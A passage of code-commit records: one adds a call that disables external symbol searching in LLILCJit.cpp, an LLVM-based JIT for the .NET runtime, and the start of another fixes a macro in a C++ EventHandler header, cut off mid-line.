shouldUseConservativeGC() {\n  const char *LevelCStr = getenv(\"COMPLUS_GCCONSERVATIVE\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ The one and only Jit Object.\nLLILCJit *LLILCJit::TheJit = nullptr;\n\n\/\/ This is guaranteed to be called by the EE\n\/\/ in single-threaded mode.\nICorJitCompiler *__stdcall getJit() {\n\n  if (LLILCJit::TheJit == nullptr) {\n    \/\/ These are one-time only operations.\n    \/\/ Create the singleton jit object.\n    LLILCJit::TheJit = new LLILCJit();\n\n    \/\/ Register a signal handler, mainly so that the critical\n    \/\/ section that is entered on windows when LLVM gets a fatal error\n    \/\/ is properly initialized.\n    sys::AddSignalHandler(&LLILCJit::signalHandler, LLILCJit::TheJit);\n\n    \/\/ Allow LLVM to pick up options via the environment\n    cl::ParseEnvironmentOptions(\"LLILCJit\", \"COMplus_altjitOptions\");\n  }\n\n  return LLILCJit::TheJit;\n}\n\n\/\/ Construct the JIT instance\nLLILCJit::LLILCJit() {\n  InitializeNativeTarget();\n  InitializeNativeTargetAsmPrinter();\n  InitializeNativeTargetAsmParser();\n  llvm::linkStatepointExampleGC();\n\n  ShouldUseConservativeGC = shouldUseConservativeGC();\n}\n\n#ifdef LLVM_ON_WIN32\n\/\/ Windows only\nBOOL WINAPI DllMain(HANDLE Instance, DWORD Reason, LPVOID Reserved) {\n  if (Reason == DLL_PROCESS_ATTACH) {\n    DisableThreadLibraryCalls((HINSTANCE)Instance);\n  } else if (Reason == DLL_PROCESS_DETACH) {\n    \/\/ TBD\n  }\n  return TRUE;\n}\n#endif \/\/ LLVM_ON_WIN32\n\nextern \"C\" void __stdcall sxsJitStartup(void *CcCallbacks) {\n  \/\/ nothing to do\n}\n\nvoid LLILCJitContext::outputDebugMethodName() {\n  const size_t SizeOfBuffer = 512;\n  char TempBuffer[SizeOfBuffer];\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n  dbgs() << format(\"INFO:  jitting method %s::%s using LLILCJit\\n\",\n                   DebugClassName, DebugMethodName);\n}\n\nLLILCJitContext::LLILCJitContext(LLILCJitPerThreadState *PerThreadState)\n    : State(PerThreadState), HasLoadedBitCode(false), Options(this) {\n  this->Next = State->JitContext;\n  State->JitContext = this;\n}\n\nLLILCJitContext::~LLILCJitContext() {\n  LLILCJitContext *TopContext = State->JitContext;\n  assert(this == TopContext && \"Unbalanced contexts!\");\n  State->JitContext = TopContext->Next;\n}\n\n\/\/ This is the method invoked by the EE to Jit code.\nCorJitResult LLILCJit::compileMethod(ICorJitInfo *JitInfo,\n                                     CORINFO_METHOD_INFO *MethodInfo,\n                                     UINT Flags, BYTE **NativeEntry,\n                                     ULONG *NativeSizeOfCode) {\n\n  \/\/ Bail if input is malformed\n  if (nullptr == JitInfo || nullptr == MethodInfo || nullptr == NativeEntry ||\n      nullptr == NativeSizeOfCode) {\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Prep main outputs\n  *NativeEntry = nullptr;\n  *NativeSizeOfCode = 0;\n\n  \/\/ Set up state for this thread (if necessary)\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  if (PerThreadState == nullptr) {\n    PerThreadState = new LLILCJitPerThreadState();\n    State.set(PerThreadState);\n  }\n\n  \/\/ Set up context for this Jit request\n  LLILCJitContext Context = LLILCJitContext(PerThreadState);\n\n  \/\/ Fill in context information from the CLR\n  Context.JitInfo = JitInfo;\n  Context.MethodInfo = MethodInfo;\n  Context.Flags = Flags;\n  JitInfo->getEEInfo(&Context.EEInfo);\n\n  \/\/ Fill in context information from LLVM\n  Context.LLVMContext = &PerThreadState->LLVMContext;\n  std::unique_ptr<Module> M = Context.getModuleForMethod(MethodInfo);\n  Context.CurrentModule = M.get();\n  Context.CurrentModule->setTargetTriple(LLVM_DEFAULT_TARGET_TRIPLE);\n  Context.TheABIInfo = ABIInfo::get(*Context.CurrentModule);\n\n  \/\/ Initialize per invocation JIT options. This should be done after the\n  \/\/ rest of the Context is filled out as it has dependencies on Flags and\n  \/\/ MethodInfo\n  Context.Options.initialize();\n\n  EngineBuilder Builder(std::move(M));\n  std::string ErrStr;\n  Builder.setErrorStr(&ErrStr);\n\n  std::unique_ptr<RTDyldMemoryManager> MM(new EEMemoryManager(&Context));\n  Builder.setMCJITMemoryManager(std::move(MM));\n\n  TargetOptions Options;\n\n  \/\/ Statepoint GC does not support FastIsel yet.\n  Options.EnableFastISel = false;\n\n  if (Context.Options.OptLevel != OptLevel::DEBUG_CODE) {\n    Builder.setOptLevel(CodeGenOpt::Level::Default);\n  } else {\n    Builder.setOptLevel(CodeGenOpt::Level::None);\n    Options.NoFramePointerElim = true;\n  }\n\n  Builder.setTargetOptions(Options);\n\n  ExecutionEngine *NewEngine = Builder.create();\n\n  if (!NewEngine) {\n    errs() << \"Could not create ExecutionEngine: \" << ErrStr << \"\\n\";\n    return CORJIT_INTERNALERROR;\n  }\n\n  Context.EE = NewEngine;\n\n  \/\/ Now jit the method.\n  CorJitResult Result = CORJIT_INTERNALERROR;\n  if (Context.Options.DumpLevel == VERBOSE) {\n    Context.outputDebugMethodName();\n  }\n  bool HasMethod = this->readMethod(&Context);\n\n  if (HasMethod) {\n\n    if (!ShouldUseConservativeGC) {\n      \/\/ If using Precise GC, run the GC-Safepoint insertion\n      \/\/ and lowering passes before generating code.\n      legacy::PassManager Passes;\n      Passes.add(createPlaceSafepointsPass());\n\n      PassManagerBuilder PMBuilder;\n      PMBuilder.OptLevel = 0;  \/\/ Set optimization level to -O0\n      PMBuilder.SizeLevel = 0; \/\/ so that no additional phases are run.\n      PMBuilder.populateModulePassManager(Passes);\n\n      Passes.add(createRewriteStatepointsForGCPass(false));\n      Passes.run(*Context.CurrentModule);\n    }\n\n    Context.EE->generateCodeForModule(Context.CurrentModule);\n\n    \/\/ You need to pick up the COFFDyld changes from the MS branch of LLVM\n    \/\/ or this will fail with an \"Incompatible object format!\" error\n    \/\/ from LLVM's dynamic loader.\n    uint64_t FunctionAddress =\n        Context.EE->getFunctionAddress(Context.MethodName);\n    *NativeEntry = (BYTE *)FunctionAddress;\n\n    \/\/ TODO: ColdCodeSize, or separated code, is not enabled or included.\n    *NativeSizeOfCode = Context.HotCodeSize + Context.ReadOnlyDataSize;\n\n    \/\/ This is a stop-gap point to issue a default stub of GC info. This lets\n    \/\/ the CLR consume our methods cleanly. (and the ETW tracing still works)\n    \/\/ Down the road this will be superseded by a CLR specific\n    \/\/ GCMetadataPrinter instance or similar.\n    this->outputGCInfo(&Context);\n\n    \/\/ Dump out any enabled timing info.\n    TimerGroup::printAll(errs());\n\n    \/\/ Tell the CLR that we've successfully generated code for this method.\n    Result = CORJIT_OK;\n  }\n\n  \/\/ Clean up a bit\n  delete Context.EE;\n  Context.EE = nullptr;\n  delete Context.TheABIInfo;\n  Context.TheABIInfo = nullptr;\n\n  return Result;\n}\n\nstd::unique_ptr<Module>\nLLILCJitContext::getModuleForMethod(CORINFO_METHOD_INFO *MethodInfo) {\n  \/\/ Grab name info from the EE.\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n\n  \/\/ Stop gap name.  The full naming will likely require some more info.\n  std::string ModName(DebugClassName);\n  ModName.append(1, '.');\n  ModName.append(DebugMethodName);\n\n  std::unique_ptr<Module> M;\n  char *BitcodePath = getenv(\"BITCODE_PATH\");\n\n  if (BitcodePath != nullptr) {\n    SMDiagnostic Err;\n    std::string Path = std::string(BitcodePath);\n\n    \/\/ If there is a bitcode path, use the debug module name to look for an .bc\n    \/\/ file. If one is found then load it directly.\n    Path.append(\"\\\\\");\n    Path.append(ModName);\n    Path.append(\".bc\");\n    M = llvm::parseIRFile(Path, Err, *this->LLVMContext);\n\n    if (!M) {\n      \/\/ Err.print(\"IR Parsing failed: \", errs());\n      this->HasLoadedBitCode = false;\n    } else {\n      std::string Message(\"Loaded bitcode from: \");\n      Message.append(Path);\n      dbgs() << Message;\n      this->HasLoadedBitCode = true;\n    }\n  }\n\n  if (!this->HasLoadedBitCode) {\n    M = std::unique_ptr<Module>(new Module(ModName, *this->LLVMContext));\n  }\n\n  return std::move(M);\n}\n\n\/\/ Read method MSIL and construct LLVM bitcode\nbool LLILCJit::readMethod(LLILCJitContext *JitContext) {\n  if (JitContext->HasLoadedBitCode) {\n    \/\/ This is a case where we side loaded a llvm bitcode module.\n    \/\/ The module is already complete so we avoid reading entirely.\n    return true;\n  }\n\n  LLVMDumpLevel DumpLevel = JitContext->Options.DumpLevel;\n\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  GenIR Reader(JitContext, &PerThreadState->ClassTypeMap,\n               &PerThreadState->ReverseClassTypeMap,\n               &PerThreadState->BoxedTypeMap, &PerThreadState->ArrayTypeMap,\n               &PerThreadState->FieldIndexMap);\n\n  std::string FuncName = JitContext->CurrentModule->getModuleIdentifier();\n\n  try {\n    Reader.msilToIR();\n  } catch (NotYetImplementedException &Nyi) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << '[' << Nyi.reason() << \"]\\n\";\n    }\n    return false;\n  }\n\n  Function *Func = JitContext->CurrentModule->getFunction(FuncName);\n  bool IsOk = !verifyFunction(*Func, &dbgs());\n\n  if (IsOk) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Successfully read \" << FuncName << '\\n';\n    }\n  } else {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Read \" << FuncName << \" but failed verification\\n\";\n    }\n  }\n\n  if (DumpLevel == VERBOSE) {\n    Func->dump();\n  }\n\n  JitContext->MethodName = FuncName;\n\n  return IsOk;\n}\n\n\/\/ Stop gap function to allocate and emit stub GCInfo for the method.\n\/\/ This avoids a crash in the EE.\n\/\/ Assuming that this will be replaced by an override of the GCMetaData\n\/\/ or similar writer in LLVM once we move to the safepoint design.\nbool LLILCJit::outputGCInfo(LLILCJitContext *JitContext) {\n  size_t Size = 5;\n  void *GCInfoBuffer = JitContext->JitInfo->allocGCInfo(Size);\n\n  if (GCInfoBuffer == nullptr) {\n    return false;\n  }\n\n  \/\/ First word of the GCInfoBuffer should be the size of the method.\n  *(uint32_t *)GCInfoBuffer = JitContext->HotCodeSize;\n\n  \/\/ 0x8 is the end sentinel of the buffer.\n  *(((char *)GCInfoBuffer) + 4) = 0x8;\n\n  return true;\n}\n\n\/\/ Notification from the runtime that any caches should be cleaned up.\nvoid LLILCJit::clearCache() { return; }\n\n\/\/ Notify runtime if we have something to clean up\nBOOL LLILCJit::isCacheCleanupRequired() { return FALSE; }\n\n\/\/ Verify the JIT\/EE interface identifier.\nvoid LLILCJit::getVersionIdentifier(GUID *VersionIdentifier) {\n  _ASSERTE(VersionIdentifier != nullptr);\n  memcpy(VersionIdentifier, &JITEEVersionIdentifier, sizeof(GUID));\n}\n\n\/\/ Raise a fatal error.\nvoid __cdecl LLILCJit::fatal(int Errnum, ...) {\n  _ASSERTE(FAILED(Errnum));\n  ULONG_PTR ExceptArg = Errnum;\n  RaiseException(CORJIT_INTERNALERROR, EXCEPTION_NONCONTINUABLE, 1, &ExceptArg);\n}\n\n\/\/  Handle an abort signal from LLVM. We don't do anything, but registering\n\/\/  this handler avoids a crash when LLVM goes down.\nvoid LLILCJit::signalHandler(void *Cookie) {\n  \/\/ do nothing\n}\n<commit_msg>Disable symbol searching.<commit_after>\/\/===---- lib\/Jit\/LLILCJit.cpp --------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ LLILC\n\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implementation of the main Jit entry points.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"jitpch.h\"\n#include \"LLILCJit.h\"\n#include \"options.h\"\n#include \"readerir.h\"\n#include \"abi.h\"\n#include \"EEMemoryManager.h\"\n#include \"llvm\/CodeGen\/GCs.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/ExecutionEngine\/MCJIT.h\"\n#include \"llvm\/ExecutionEngine\/SectionMemoryManager.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DerivedTypes.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IR\/PassManager.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/Timer.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Format.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n#include <string>\n\nusing namespace llvm;\n\n\/\/ Get the LLVM IR dump level. For now this is done by directly\n\/\/ accessing environment variable. When CLR config support is\n\/\/ included, update it here.\nLLVMDumpLevel dumpLevel() {\n  const char *LevelCStr = getenv(\"DUMPLLVMIR\");\n  if (LevelCStr) {\n    std::string Level = LevelCStr;\n    std::transform(Level.begin(), Level.end(), Level.begin(), ::toupper);\n    if (Level.compare(\"VERBOSE\") == 0) {\n      return VERBOSE;\n    }\n    if (Level.compare(\"SUMMARY\") == 0) {\n      return SUMMARY;\n    }\n  }\n  return NODUMP;\n}\n\n\/\/ Get the GC-Scheme used by the runtime -- conservative\/precise\n\/\/ For now this is done by directly accessing environment variable.\n\/\/ When CLR config support is included, update it here.\nbool shouldUseConservativeGC() {\n  const char *LevelCStr = getenv(\"COMPLUS_GCCONSERVATIVE\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ The one and only Jit Object.\nLLILCJit *LLILCJit::TheJit = nullptr;\n\n\/\/ This is guaranteed to be called by the EE\n\/\/ in single-threaded mode.\nICorJitCompiler *__stdcall getJit() {\n\n  if (LLILCJit::TheJit == nullptr) {\n    \/\/ These are one-time only operations.\n    \/\/ Create the singleton jit object.\n    LLILCJit::TheJit = new LLILCJit();\n\n    \/\/ Register a signal handler, mainly so that the critical\n    \/\/ section that is entered on windows when LLVM gets a fatal error\n    \/\/ is properly initialized.\n    sys::AddSignalHandler(&LLILCJit::signalHandler, LLILCJit::TheJit);\n\n    \/\/ Allow LLVM to pick up options via the environment\n    cl::ParseEnvironmentOptions(\"LLILCJit\", \"COMplus_altjitOptions\");\n  }\n\n  return LLILCJit::TheJit;\n}\n\n\/\/ Construct the JIT instance\nLLILCJit::LLILCJit() {\n  InitializeNativeTarget();\n  InitializeNativeTargetAsmPrinter();\n  InitializeNativeTargetAsmParser();\n  llvm::linkStatepointExampleGC();\n\n  ShouldUseConservativeGC = shouldUseConservativeGC();\n}\n\n#ifdef LLVM_ON_WIN32\n\/\/ Windows only\nBOOL WINAPI DllMain(HANDLE Instance, DWORD Reason, LPVOID Reserved) {\n  if (Reason == DLL_PROCESS_ATTACH) {\n    DisableThreadLibraryCalls((HINSTANCE)Instance);\n  } else if (Reason == DLL_PROCESS_DETACH) {\n    \/\/ TBD\n  }\n  return TRUE;\n}\n#endif \/\/ LLVM_ON_WIN32\n\nextern \"C\" void __stdcall sxsJitStartup(void *CcCallbacks) {\n  \/\/ nothing to do\n}\n\nvoid LLILCJitContext::outputDebugMethodName() {\n  const size_t SizeOfBuffer = 512;\n  char TempBuffer[SizeOfBuffer];\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n  dbgs() << format(\"INFO:  jitting method %s::%s using LLILCJit\\n\",\n                   DebugClassName, DebugMethodName);\n}\n\nLLILCJitContext::LLILCJitContext(LLILCJitPerThreadState *PerThreadState)\n    : State(PerThreadState), HasLoadedBitCode(false), Options(this) {\n  this->Next = State->JitContext;\n  State->JitContext = this;\n}\n\nLLILCJitContext::~LLILCJitContext() {\n  LLILCJitContext *TopContext = State->JitContext;\n  assert(this == TopContext && \"Unbalanced contexts!\");\n  State->JitContext = TopContext->Next;\n}\n\n\/\/ This is the method invoked by the EE to Jit code.\nCorJitResult LLILCJit::compileMethod(ICorJitInfo *JitInfo,\n                                     CORINFO_METHOD_INFO *MethodInfo,\n                                     UINT Flags, BYTE **NativeEntry,\n                                     ULONG *NativeSizeOfCode) {\n\n  \/\/ Bail if input is malformed\n  if (nullptr == JitInfo || nullptr == MethodInfo || nullptr == NativeEntry ||\n      nullptr == NativeSizeOfCode) {\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Prep main outputs\n  *NativeEntry = nullptr;\n  *NativeSizeOfCode = 0;\n\n  \/\/ Set up state for this thread (if necessary)\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  if (PerThreadState == nullptr) {\n    PerThreadState = new LLILCJitPerThreadState();\n    State.set(PerThreadState);\n  }\n\n  \/\/ Set up context for this Jit request\n  LLILCJitContext Context = LLILCJitContext(PerThreadState);\n\n  \/\/ Fill in context information from the CLR\n  Context.JitInfo = JitInfo;\n  Context.MethodInfo = MethodInfo;\n  Context.Flags = Flags;\n  JitInfo->getEEInfo(&Context.EEInfo);\n\n  \/\/ Fill in context information from LLVM\n  Context.LLVMContext = &PerThreadState->LLVMContext;\n  std::unique_ptr<Module> M = Context.getModuleForMethod(MethodInfo);\n  Context.CurrentModule = M.get();\n  Context.CurrentModule->setTargetTriple(LLVM_DEFAULT_TARGET_TRIPLE);\n  Context.TheABIInfo = ABIInfo::get(*Context.CurrentModule);\n\n  \/\/ Initialize per invocation JIT options. This should be done after the\n  \/\/ rest of the Context is filled out as it has dependencies on Flags and\n  \/\/ MethodInfo\n  Context.Options.initialize();\n\n  EngineBuilder Builder(std::move(M));\n  std::string ErrStr;\n  Builder.setErrorStr(&ErrStr);\n\n  std::unique_ptr<RTDyldMemoryManager> MM(new EEMemoryManager(&Context));\n  Builder.setMCJITMemoryManager(std::move(MM));\n\n  TargetOptions Options;\n\n  \/\/ Statepoint GC does not support FastIsel yet.\n  Options.EnableFastISel = false;\n\n  if (Context.Options.OptLevel != OptLevel::DEBUG_CODE) {\n    Builder.setOptLevel(CodeGenOpt::Level::Default);\n  } else {\n    Builder.setOptLevel(CodeGenOpt::Level::None);\n    Options.NoFramePointerElim = true;\n  }\n\n  Builder.setTargetOptions(Options);\n\n  ExecutionEngine *NewEngine = Builder.create();\n\n  if (!NewEngine) {\n    errs() << \"Could not create ExecutionEngine: \" << ErrStr << \"\\n\";\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Don't allow the EE to search for external symbols.\n  NewEngine->DisableSymbolSearching();\n  Context.EE = NewEngine;\n\n  \/\/ Now jit the method.\n  CorJitResult Result = CORJIT_INTERNALERROR;\n  if (Context.Options.DumpLevel == VERBOSE) {\n    Context.outputDebugMethodName();\n  }\n  bool HasMethod = this->readMethod(&Context);\n\n  if (HasMethod) {\n\n    if (!ShouldUseConservativeGC) {\n      \/\/ If using Precise GC, run the GC-Safepoint insertion\n      \/\/ and lowering passes before generating code.\n      legacy::PassManager Passes;\n      Passes.add(createPlaceSafepointsPass());\n\n      PassManagerBuilder PMBuilder;\n      PMBuilder.OptLevel = 0;  \/\/ Set optimization level to -O0\n      PMBuilder.SizeLevel = 0; \/\/ so that no additional phases are run.\n      PMBuilder.populateModulePassManager(Passes);\n\n      Passes.add(createRewriteStatepointsForGCPass(false));\n      Passes.run(*Context.CurrentModule);\n    }\n\n    Context.EE->generateCodeForModule(Context.CurrentModule);\n\n    \/\/ You need to pick up the COFFDyld changes from the MS branch of LLVM\n    \/\/ or this will fail with an \"Incompatible object format!\" error\n    \/\/ from LLVM's dynamic loader.\n    uint64_t FunctionAddress =\n        Context.EE->getFunctionAddress(Context.MethodName);\n    *NativeEntry = (BYTE *)FunctionAddress;\n\n    \/\/ TODO: ColdCodeSize, or separated code, is not enabled or included.\n    *NativeSizeOfCode = Context.HotCodeSize + Context.ReadOnlyDataSize;\n\n    \/\/ This is a stop-gap point to issue a default stub of GC info. This lets\n    \/\/ the CLR consume our methods cleanly. (and the ETW tracing still works)\n    \/\/ Down the road this will be superseded by a CLR specific\n    \/\/ GCMetadataPrinter instance or similar.\n    this->outputGCInfo(&Context);\n\n    \/\/ Dump out any enabled timing info.\n    TimerGroup::printAll(errs());\n\n    \/\/ Tell the CLR that we've successfully generated code for this method.\n    Result = CORJIT_OK;\n  }\n\n  \/\/ Clean up a bit\n  delete Context.EE;\n  Context.EE = nullptr;\n  delete Context.TheABIInfo;\n  Context.TheABIInfo = nullptr;\n\n  return Result;\n}\n\nstd::unique_ptr<Module>\nLLILCJitContext::getModuleForMethod(CORINFO_METHOD_INFO *MethodInfo) {\n  \/\/ Grab name info from the EE.\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n\n  \/\/ Stop gap name.  The full naming will likely require some more info.\n  std::string ModName(DebugClassName);\n  ModName.append(1, '.');\n  ModName.append(DebugMethodName);\n\n  std::unique_ptr<Module> M;\n  char *BitcodePath = getenv(\"BITCODE_PATH\");\n\n  if (BitcodePath != nullptr) {\n    SMDiagnostic Err;\n    std::string Path = std::string(BitcodePath);\n\n    \/\/ If there is a bitcode path, use the debug module name to look for an .bc\n    \/\/ file. If one is found then load it directly.\n    Path.append(\"\\\\\");\n    Path.append(ModName);\n    Path.append(\".bc\");\n    M = llvm::parseIRFile(Path, Err, *this->LLVMContext);\n\n    if (!M) {\n      \/\/ Err.print(\"IR Parsing failed: \", errs());\n      this->HasLoadedBitCode = false;\n    } else {\n      std::string Message(\"Loaded bitcode from: \");\n      Message.append(Path);\n      dbgs() << Message;\n      this->HasLoadedBitCode = true;\n    }\n  }\n\n  if (!this->HasLoadedBitCode) {\n    M = std::unique_ptr<Module>(new Module(ModName, *this->LLVMContext));\n  }\n\n  return std::move(M);\n}\n\n\/\/ Read method MSIL and construct LLVM bitcode\nbool LLILCJit::readMethod(LLILCJitContext *JitContext) {\n  if (JitContext->HasLoadedBitCode) {\n    \/\/ This is a case where we side loaded a llvm bitcode module.\n    \/\/ The module is already complete so we avoid reading entirely.\n    return true;\n  }\n\n  LLVMDumpLevel DumpLevel = JitContext->Options.DumpLevel;\n\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  GenIR Reader(JitContext, &PerThreadState->ClassTypeMap,\n               &PerThreadState->ReverseClassTypeMap,\n               &PerThreadState->BoxedTypeMap, &PerThreadState->ArrayTypeMap,\n               &PerThreadState->FieldIndexMap);\n\n  std::string FuncName = JitContext->CurrentModule->getModuleIdentifier();\n\n  try {\n    Reader.msilToIR();\n  } catch (NotYetImplementedException &Nyi) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << '[' << Nyi.reason() << \"]\\n\";\n    }\n    return false;\n  }\n\n  Function *Func = JitContext->CurrentModule->getFunction(FuncName);\n  bool IsOk = !verifyFunction(*Func, &dbgs());\n\n  if (IsOk) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Successfully read \" << FuncName << '\\n';\n    }\n  } else {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Read \" << FuncName << \" but failed verification\\n\";\n    }\n  }\n\n  if (DumpLevel == VERBOSE) {\n    Func->dump();\n  }\n\n  JitContext->MethodName = FuncName;\n\n  return IsOk;\n}\n\n\/\/ Stop gap function to allocate and emit stub GCInfo for the method.\n\/\/ This avoids a crash in the EE.\n\/\/ Assuming that this will be replaced by an override of the GCMetaData\n\/\/ or similar writer in LLVM once we move to the safepoint design.\nbool LLILCJit::outputGCInfo(LLILCJitContext *JitContext) {\n  size_t Size = 5;\n  void *GCInfoBuffer = JitContext->JitInfo->allocGCInfo(Size);\n\n  if (GCInfoBuffer == nullptr) {\n    return false;\n  }\n\n  \/\/ First word of the GCInfoBuffer should be the size of the method.\n  *(uint32_t *)GCInfoBuffer = JitContext->HotCodeSize;\n\n  \/\/ 0x8 is the end sentinel of the buffer.\n  *(((char *)GCInfoBuffer) + 4) = 0x8;\n\n  return true;\n}\n\n\/\/ Notification from the runtime that any caches should be cleaned up.\nvoid LLILCJit::clearCache() { return; }\n\n\/\/ Notify runtime if we have something to clean up\nBOOL LLILCJit::isCacheCleanupRequired() { return FALSE; }\n\n\/\/ Verify the JIT\/EE interface identifier.\nvoid LLILCJit::getVersionIdentifier(GUID *VersionIdentifier) {\n  _ASSERTE(VersionIdentifier != nullptr);\n  memcpy(VersionIdentifier, &JITEEVersionIdentifier, sizeof(GUID));\n}\n\n\/\/ Raise a fatal error.\nvoid __cdecl LLILCJit::fatal(int Errnum, ...) {\n  _ASSERTE(FAILED(Errnum));\n  ULONG_PTR ExceptArg = Errnum;\n  RaiseException(CORJIT_INTERNALERROR, EXCEPTION_NONCONTINUABLE, 1, &ExceptArg);\n}\n\n\/\/  Handle an abort signal from LLVM. We don't do anything, but registering\n\/\/  this handler avoids a crash when LLVM goes down.\nvoid LLILCJit::signalHandler(void *Cookie) {\n  \/\/ do nothing\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _EventHandler_Hpp\n#define _EventHandler_Hpp\n\n\/\/ -- this will speed up the process ever so slightly\n\/\/ -- for the overall development of our event structures.\n#define DEFINE_EVENT(EventClass) \\\n\tpublic: \\\n\tEventClass() { }; \\\n\t~EventClass() { }; \\\n\tvoid Execute(void) \\\n\nclass Event\n{\n\tpublic:\n\t\tEvent();\n\t\tvirtual ~Event();\n\n\tprotected:\n\t\ttime_t  mInitTime;  \/\/ the initiation time for the event\n\t\tdouble  mSecondsToExecute; \/\/ suspect time of ending\n\t\tbool    mWillRestart;  \/\/ will it restart when it is done?\n\t\tint \tmEvType;\n\tpublic:\n\t\tvirtual void Execute ( void ) = 0;\n\t\tvoid setType ( int t ) { mEvType = t; }\n\t\tint getType ( void ) { return mEvType; }\n\n\t\tvoid setInitTime ( time_t t )\n\t\t{\n\t\t\tmInitTime = t;\n\t\t}\n\t\tvoid setSeconds ( double t )\n\t\t{\n\t\t\tmSecondsToExecute = t;\n\t\t}\n\n\t\tdouble getSeconds ( void )\n\t\t{\n\t\t\treturn mSecondsToExecute;\n\t\t}\n\n\t\ttime_t getInitTime ( void )\n\t\t{\n\t\t\treturn mInitTime;\n\t\t}\n\n\t\tbool hasElapsed ( void )   \/\/ has the event elapsed its seconds requirements?\n\t\t{\n\t\t\tdouble elapsed = difftime ( time ( NULL ), mInitTime );\n\t\t\tif ( elapsed >= mSecondsToExecute )\n\t\t\t{ return true; }\n\t\t\treturn false;\n\t\t}\n\t\tbool isRestart ( void )\n\t\t{\n\t\t\treturn mWillRestart;\n\t\t}\n\t\tvoid setRestart ( bool t )\n\t\t{\n\t\t\tmWillRestart = t;\n\t\t}\n};\n\nclass EventHandler\n{\n\tpublic:\n\t\tEventHandler() { }\n\t\t~EventHandler()\n\t\t{\n\t\t\tdestroyEvents();\n\t\t}\n\tprivate:\n\t\tEventHandler ( const EventHandler& );\n\t\tEventHandler&operator= ( const EventHandler& );\n\n\t\tstd::list<Event*>mEventList;\n\tpublic:\n\t\tstd::list<Event *>::iterator getFirst() { return mEventList.begin(); }\n\t\tstd::list<Event *>::iterator getLast() { return mEventList.end(); }\n\t\tvoid BootupEvents();\n\t\tint updateEvents ( void );\n\t\tvoid destroyEvents ( void );\n\t\tvoid destroyEvent ( Event *ev );\n\t\tEvent *addEvent ( Event *ev, bool repeat, double seconds ); \/\/ return the event so we can store certain events easily\n\n};\n\n#endif\n<commit_msg>Update EventHandler.hpp<commit_after>#ifndef _EventHandler_Hpp\n#define _EventHandler_Hpp\n\n\/\/ -- this will speed up the process ever so slightly\n\/\/ -- for the overall development of our event structures.\n#define DEFINE_EVENT(EventClass) \\\n\tpublic: \\\n\tEventClass() { }; \\\n\t~EventClass() { }; \\\n\tvoid Execute(void) \n\nclass Event\n{\n\tpublic:\n\t\tEvent();\n\t\tvirtual ~Event();\n\n\tprotected:\n\t\ttime_t  mInitTime;  \/\/ the initiation time for the event\n\t\tdouble  mSecondsToExecute; \/\/ suspect time of ending\n\t\tbool    mWillRestart;  \/\/ will it restart when it is done?\n\t\tint \tmEvType;\n\tpublic:\n\t\tvirtual void Execute ( void ) = 0;\n\t\tvoid setType ( int t ) { mEvType = t; }\n\t\tint getType ( void ) { return mEvType; }\n\n\t\tvoid setInitTime ( time_t t )\n\t\t{\n\t\t\tmInitTime = t;\n\t\t}\n\t\tvoid setSeconds ( double t )\n\t\t{\n\t\t\tmSecondsToExecute = t;\n\t\t}\n\n\t\tdouble getSeconds ( void )\n\t\t{\n\t\t\treturn mSecondsToExecute;\n\t\t}\n\n\t\ttime_t getInitTime ( void )\n\t\t{\n\t\t\treturn mInitTime;\n\t\t}\n\n\t\tbool hasElapsed ( void )   \/\/ has the event elapsed its seconds requirements?\n\t\t{\n\t\t\tdouble elapsed = difftime ( time ( NULL ), mInitTime );\n\t\t\tif ( elapsed >= mSecondsToExecute )\n\t\t\t{ return true; }\n\t\t\treturn false;\n\t\t}\n\t\tbool isRestart ( void )\n\t\t{\n\t\t\treturn mWillRestart;\n\t\t}\n\t\tvoid setRestart ( bool t 